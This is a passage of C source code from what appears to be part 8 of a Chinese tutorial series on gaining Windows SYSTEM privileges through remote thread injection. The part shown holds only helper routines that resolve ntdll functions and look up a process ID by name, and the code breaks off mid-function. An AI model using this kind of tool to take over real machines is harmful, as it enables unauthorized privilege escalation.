|
远程线程注入版获取SYSTEM权限(8) { free( buf ); buf = NULL; } return( pid ); } /* end of GetPidFromProcessName */ static BOOL LocateNtdllEntry ( void ) { BOOL ret = FALSE; char NTDLL_DLL[] = "ntdll.dll"; HMODULE ntdll_dll = NULL; if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL ) { PrintWin32ErrorCUI( "GetModuleHandle() failed", GetLastError() ); return( ret ); } if ( !( RtlNtStatusToDosError = ( RTLNTSTATUSTODOSERROR )GetProcAddress ( ntdll_dll, "RtlNtStatusToDosError" ) ) ) { goto LocateNtdllEntry_exit; } if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress ( ntdll_dll, "ZwQuerySystemInformation" ) ) ) { goto LocateNtdllEntry_exit; } ret = TRUE; LocateNtdllEntry_exit: if ( FALSE == ret ) { PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() ); } ntdll_dll = NULL; return( ret ); } /* end of LocateNtdllEntry */ static DWORD __stdcall PnameToPid ( char *ProcessName ) { int i; WCHAR *ProcessNameW = NULL; DWORD Pid = 0; i = MultiByteToWideChar ( CP_ACP, 0, ProcessName, ( int )( strlen( ProcessName ) + 1 ), NULL, 0 ); if ( 0 == i ) { PrintWin32ErrorCUI( "MultiByteToWideChar() failed [0]", GetLastError() );
|